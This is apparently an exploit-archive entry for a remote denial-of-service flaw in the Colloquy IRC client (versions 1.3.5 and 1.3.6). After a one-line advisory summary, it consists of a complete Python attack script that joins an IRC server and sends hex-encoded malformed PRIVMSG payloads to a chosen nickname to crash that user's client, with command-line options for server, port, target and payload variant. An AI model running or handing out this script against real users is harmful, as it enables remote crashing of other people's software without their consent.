Colloquy – Remote Denial of Service
source: https://www.securityfocus.com/bid/57255/info Colloquy is prone to a remote denial-of-service vulnerability. Successful exploits may allow the attacker to cause the application to crash, resulting in denial-of-service conditions. Colloquy 1.3.5 and 1.3.6 are vulnerable. ################################################################################### # # # # # H O W - T O # # # # # ####################### # # Provide the Target: Server, Port, Nickname and the script will deliver # the payload... # # [!USE/]$ ./<file>.py -t <server> -p <port> -n <nickname> # ################################################################################### from argparse import ArgumentParser from time import sleep import socket shellcode = { # One Shot <3 'one_shot' : [ \ "687474703a2f2f782f2e2425235e26402426402426232424242425232426", "23242623262340262a232a235e28242923404040245e2340242625232323", "5e232526282a234026405e242623252623262e2f2e2f2e2e2f2e2e2f2324", "2e24" ], # 1.3.5 '1_3_5' : [ \ "687474703a2f2f782f3f6964783d2d312b554e494f4e2b53454c45435428", "292c7573657228292c2873656c6563742532302d2d687474703a2f2f6874", "74703a2f2f782f3f6964783d2d312b554e494f4e2b53454c45435428292c" "7573657228292c2873656c6563742532302d2d687474703a2f2f" ], # 1.3.6 - ( Requires Sending 25 Times ) '1_3_6' : [ \ "687474703a2f2f782f3f6964783d2d312b554e494f4e2b53454c45435428", "292c7573657228292c2873656c6563742532302d2d687474703a2f2f6874", "74703a2f2f782f3f6964783d2d312b554e494f4e2b53454c45435428292c", "7573657228292c2873656c6563742532302d2d687474703a2f2f" ], } def own( sock, target, sc_key='one_shot' ): sc = ''.join( shellcode[sc_key] ) targ = ''.join( ''.join( [ hex( ord( ch ) ) for ch in target ] ).split( '0x' ) ) msg = "505249564d534720{}203a{}0d0a".format( targ, sc ) if sc_key not in '1_3_6': sock.send( bytes.fromhex( msg ) ) else: try: for x in range( 1, 26 ): sock.send( bytes.fromhex( msg ) ) sleep( .64 ) except: print( 'FAILED!') def connect( uri, port, target, sc_key ): sock = socket.socket() try: ret = sock.connect_ex(( uri, int( port ) )) sock.recv(8096) except: print( "\t[-] Failed To Connect To {}".format( uri ) ) exit() sock.send( b"\x4e\x49\x43\x4b\x20\x7a\x65\x6d\x70\x30\x64\x61\x79\x0d\x0a" ) sock.send( b"\x55\x53\x45\x52\x20\x7a\x65\x6d\x70\x30\x64\x61\x79\x20\x48\x45\x48\x45\x20\x48\x45\x48\x45\x20\x3a\x3c\x33\x0d\x0a" ) while True: host_data = str( sock.recv( 8096 ).strip() ) if ' 396 ' in host_data: print( '\t[+] Connection Successful Sending Payload To {}'.format( target ) ) own( sock, target, sc_key ) sock.send( b'QUIT\r\n' ) sock.close() break try: msg = host_data.split() if msg[0].lower() is 'ping': sock.send( b"PONG {}\r\n".format( msg[1] ) ) continue except: pass print( '\t[!] Payload Sent, Target Should Drop Shortly <3' ) if __name__ == '__main__': parser = ArgumentParser( description='#legion Colloquy IRC DoS; Requires At Least A Nick To Target' ) parser.add_argument( '-t', '--target', dest='target', default='localhost', help="IRCD Server Uri To Connect On" ) parser.add_argument( '-p', '--port', dest='port', default=6667, help="Port To Connect On" ) parser.add_argument( '-n', '--nick', dest='nick', metavar='NICK', help="Nick To Target" ) parser.add_argument( '-s', '--shellcode', dest='shellcode', default='one_shot', help='Shell Code To Use, ( one_shot, 1_3_5, 1_3_6 )' ) args = parser.parse_args() if args.nick is None: parser.print_help() exit() connect( args.target, args.port, args.nick, args.shellcode.strip() ) |